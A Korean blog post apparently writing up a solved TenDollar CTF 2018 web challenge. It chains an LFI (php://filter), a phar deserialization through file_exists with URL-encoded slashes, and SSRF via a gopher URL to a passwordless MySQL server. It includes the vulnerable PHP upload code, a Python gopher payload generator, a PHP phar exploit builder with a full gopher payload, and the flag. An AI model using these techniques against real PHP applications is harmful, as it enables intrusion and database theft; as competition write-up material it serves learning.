해당 문제는 이틀정도 계속 보다가 결국 풀지 못하고 롸업을 참고했는데 취약점이 터지는 과정이 엄청 재밌었다.
일단 페이지를 불러올 때 기본적으로 LFI가 터져서 소스코드를 가져올 수 있다.
http://web2.tendollar.kr:8100/?p=php://filter/convert.base64-encode/resource=index
핵심 기능은 일단 파일 업로드,curl을 통한 요청 두가지 정도가 있었는데, 여기서 한참을 소스코드를 봤는데도 도저히 취약점이 터질만한 곳이 보이지 않았었다.
대회 주최해주신분의 롸업을 보니 php에서 phar을 통해 파일관련 함수에서 취약점을 터트릴 수 있는 방법이 있었다.
phar은 include,require 에서 lfi시에만 사용할 수 있다고 알고 있었는데 이게 엄청 신선한 충격이었다.
그래서 해당 취약점에 대해 찾아보니 몇달전에 Black hat USA 2018에서 발표된 자료가 있어서 쭉 읽어봤다.
https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf
해당 문서를 쭉 보고나면 취약점이 터질 곳이 보인다.
uploadThumb.php
<?php
if($_SESSION['is_login'] !==1 ) die("<script>alert('Login please.');history.back();</script>");
chdir('uploads');
$allowExt = Array('jpg','jpeg','png','gif');
$fname = $_FILES['thumb']['name'];
$fname = array_pop(explode('./',$fname));
if(file_exists(urldecode($fname))){
echo "<script>alert('Already uploaded file.\\nPlease change filename.');history.back();</script>";
}else{
$ext = strtolower(array_pop(explode('.',$fname)));
if($_FILES['thumb']['error'] !== 0){
die("<script>alert('Upload Error!');history.back();</script>");
}
if(!in_array($ext, $allowExt)){
die("<script>alert('Sorry, not allow extension.');history.back();</script>");
}
$contents = file_get_contents($_FILES['thumb']['tmp_name']);
if($ext=="jpg"){
if(substr($contents,0,3)!="\xFF\xD8\xFF") die("<script>alert('JPG is corrupted.\\nSorry.');history.back();</script>");
}else if($ext=="jpeg"){
if(substr($contents,0,3)!="\xFF\xD8\xFF") die("<script>alert('JPEG is corrupted.\\nSorry.');history.back();</script>");
}else if($ext=="png"){
if(substr($contents,0,4)!="\x89PNG") die("<script>alert('PNG is corrupted.\\nSorry.');history.back();</script>");
}else if($ext=="gif"){
if(substr($contents,0,4)!="GIF8") die("<script>alert('GIF is corrupted.\\nSorry.');history.back();</script>");
}else{
die("<script>alert('Something error.\\nSorry.');history.back();</script>");
}
@move_uploaded_file($_FILES['thumb']['tmp_name'], $fname);
$id = $mysql->real_escape_string($_SESSION['id']);
$sql = "UPDATE users SET thumb='".$mysql->real_escape_string($fname)."' WHERE id='".$id."';";
$result = $mysql->query($sql);
if($result===TRUE){
$_SESSION['avatar'] = $fname;
echo("<script>alert('Successfully Avatar Change!');history.back();</script>");
}else{
echo("<script>alert('Upload failed!');history.back();</script>");
}
}
?>
이제 이 업로드된 파일을 phar://ssr_youngsin.gif 요런식으로 해서 파일명에 입력해주면 되는데 일반적으로 이렇게 입력하게되면 $_FILES['thumb']['name'] 요 코드로 파일명 받아올때 가장 우측 / 이후의 값들만 받아와서 phar wrapper를 사용할 수 없다. 근데 잘 보면 file_exists함수 내에서 파일명에대해 urldecode를 한번 수행해주기 때문에
//요 문자들을 urlencoding해서 입력해주면 된다.
그럼 이제 필터구문없이 ssrf를 자유롭게 사용할 수 있는데, leak한 소스코드를 보다보면 요런게 있다.
config.php
<?php
// error_reporting(0);
$host = "catproxy_db_1";W
$user = "cat";
$db_schema = "cat";
$port = 3306;
$mysql = new mysqli($host, $user, "", $db_schema,$port);
$mysql->query("SET NAMES utf8");
?>
딱봐도 수상한게 mysql에 접속할 때 비밀번호를 사용하지 않는다. 이런 경우에는 gopher를 통해 mysql 쿼리 실행이 가능하다.
문제 서버랑 동일한 환경으로 세팅해놓고 패킷뜬다음 아래 스크립트로 gopher 데이터를 만들어줬다.
# I have upgraded this tool, now it won't ask for MySQL packets, check here: https://github.com/tarunkant/Gopherus
dump = raw_input("Give connection packet of mysql: ")
query = raw_input("Give query to execute: ")
auth = dump.replace("\n","")
def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://catproxy_db_1:3306/_%" + "%".join(a)
def get_payload(query):
if(query.strip()!=''):
query = query.encode("hex")
query_length = '{:x}'.format((int((len(query) / 2) + 1)))
pay1 = query_length.rjust(2,'0') + "00000003" + query
final = encode(auth + pay1 + "0100000001")
return final
else:
return encode(auth)
print "\nYour gopher link is ready to do SSRF : \n"
print get_payload(query)
<?php
class Requests{
public $url;
function __construct($url){
$this->url = $url;
}
function __destruct(){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
echo '<div class="description">'.$output.'</div>';
}
}
$phar = new Phar('youngsin.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new Requests();
$object -> url= 'gopher://catproxy_db_1:3306/_%25%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%40%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%3b%01%00%00%00%01';
$phar -> setMetadata($object);
$phar -> stopBuffering();
해당 코드로 만든 phar파일을 이전과 같은 방식으로 공격해주면 아래와 같이 쿼리 실행이 가능했다. 테이블 목록 중 flag 테이블이 존재해 해당 테이블 내 데이터 읽으면 플래그가 나온다.
FLAG = TDCTF{W0W_Do_you_know_SSRF_Shiina_Mashiro_Kawaii}
근래 풀어봤던 문제들 중에서 가장 재밌었던 것 같다.
'CTF > Writeup' 카테고리의 다른 글
X-MAS CTF 2018 Web Write up (0) | 2018.12.24 |
---|---|
hwp CTF 2018 unpack0r (0) | 2018.12.10 |
TenDollar CTF 2018 Kou (0) | 2018.12.01 |
TenDollar CTF 2018 XSS (0) | 2018.12.01 |
TenDollar CTF 2018 LinkedList - 1,2 (0) | 2018.12.01 |